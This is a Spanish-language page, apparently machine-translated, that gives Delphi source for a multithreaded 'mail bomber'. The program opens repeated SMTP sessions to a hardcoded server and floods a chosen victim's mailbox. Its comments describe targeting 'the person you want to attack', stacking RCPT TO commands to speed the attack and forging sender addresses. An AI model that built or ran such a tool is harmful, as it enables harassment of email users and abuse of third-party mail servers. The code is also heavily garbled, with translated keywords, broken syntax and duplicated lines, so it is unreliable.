Red de conocimiento informático - Conocimiento del nombre de dominio - Cómo utilizar Delphi para escribir un programa para enviar correos electrónicos en línea

Cómo utilizar Delphi para escribir un programa para enviar correos electrónicos en línea

utilizar

windows,messages,winsock,sysutil

{$R *.

RES

const

CRLF

=#13#10

exename:pchar='mailbox messenger'

var

thd:array[1.. .1000] de entero

tid.array[1...1000] de dword

faint,hMutex,mcount,speed,newtime,oldtime,

um

,count,err:integer

:string

uf matriz[0...1024] de char

dest. :string

attstart:boolea

//----------------------

wClass: TWndClass; //Variable de clase de ventana

Msg: TMSG; //Variable de mensaje

hInst, //Instancia de programa

Manejador, //Ventana principal Identificador

hFont, //Identificador de fuente

//----------------

hPero

a

Inicio, //Botón de inicio

hPero

a

, //Botón de parada

hButtonHelp, //Botón de ayuda

hButtonExit, //Botón Salir

hEditE

correo

, //e-

correo

Edit

hEditCount, //Número de ediciones

hEditThread, //Número de hilos de edición

hLabelE

correo

, //indicador de correo electrónico

hLabelCount, //indicador de recuento

hLabelThread, //solicitud de recuento de subprocesos

hLabelInfo//solicitud de collar

: integer; //tipo de identificador

//----- --- ------------//Vaya a escribir un título para la ventana

El proceso WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0 ,integer(text));end

//Leer título desde una ventana

procedimiento ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,400, integer(text));end

//El siguiente es el proceso de conexión a la red

función StartNet(host:string;port:integer): integer

var

wsa

datos

:twsa

datos

fsocket:integer

SockAddrIn:TSockAddrI

err:integer

egi

>

// Preparar la conexión de red (usando winsock 1.1+)

err:=WSAStartup($0101,WSA

Datos

// Crear socket de cliente (

Cliente

Socket, use SOCK_STREAM, es decir:

Cliente_STREAM) e.

TCP

Concordancia)

FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_IP)

//Inicializar datos de red

SockAddrIn.sin_addr.s_addr := inet_addr(PChar (host))

SockAddrIn.sin_family := PF_INET

SockAddrIn.sin_port := htons(PF_INET, SOCK_STREAM, IPPROTO_IP)

SockAddrIn .sin_port.s_addr : = htons(PF_INET, SOCK_STREAM, IPPROTO_IP)

procedimiento SendMail

var SendBody:string

FSocket:integer

egi

repetir

//Especifique la dirección del host smtp, que es smtp.21.cn.com.cn.com. Su dirección IP es (202.104.32.230)

/Especifique el puerto de salida del host smtp, el valor predeterminado es 25

FSocket:=StartNet('202.104.32.230',25)

//-------A continuación se muestra el procesamiento de cada paso en el proceso de envío-------

/--- - ----------------------------------

// Paso 1: Enviar comando HELO , indicando que quiero comenzar a enviar correo

SendData(FSocket,'HELO'+

CRLF

/ Paso 2: Enviar CORREO

FROM

comando, especifique la dirección de correo electrónico del remitente

// Tenga en cuenta que muchos hosts SMTP solo pueden permitir que usuarios legales locales envíen correos electrónicos

// Por lo tanto , la dirección de correo electrónico del remitente debe ser un usuario legal en el host de envío

// De lo contrario, el correo electrónico no se puede enviar. Por ejemplo, hack001 es smtp.com es un usuario legal. p>SendData(FSocket, 'MAIL

DESDE

: <'+

CRLF

"> hack001@21cn.com> '+CRLF)

// Paso 3: envía el comando RCPT TO a la dirección de correo electrónico del usuario objetivo, que es la dirección de correo electrónico de la persona que deseas atacar

// En este paso , puedes usar múltiples El comando RCPT TO apunta al mismo objetivo, lo que puede acelerar enormemente el ataque

// Pero esto no es efectivo para 163.net.

net ha agregado un mecanismo de filtrado

SendData( FSocket,'RCPT TO: <'+dest+'>'+CRLF)

// Paso 4: envíe el comando DATA, es decir , a SMTP El host envía datos

SendData(FSocket,'DATA'+CRLF)

// Paso 5: envía datos específicos, incluido el siguiente contenido (sobre y cuerpo):

//p>

De

: la dirección del remitente puede ser un usuario falso (puede generarse aleatoriamente), seguido de CRLF (es decir, retorno de carro y avance de línea). Es decir, retorno de carro y avance de línea)

/Destinatario: dirección del destinatario, que puede ser un usuario falso (puede generarse aleatoriamente), seguida de CRLF

/asunto. "bome 2001"<'+CRLF"> bome@hacker.com>'+CRLF

+'Para:"bome 2001"<'+CRLF"> bome@hacker.com>'+CRLF

+'Para:"bome 2001"<'+CRLF">' +CRLF

SendBody:='Para:"bome 2001"<'+CRLF">. .com>'+CRLF

+'Asunto:Nuevo Bome 2001.'+CRLF

+CRLF

+'Hola Mundo.'+CRLF

+''.+CRLF

SendData(FSocket,SendBody)

// Paso 6: Enviar el comando final QUIT para indicar el final del proceso de envío

EnviarDatos(FSocket,'SALIR'+CRLF)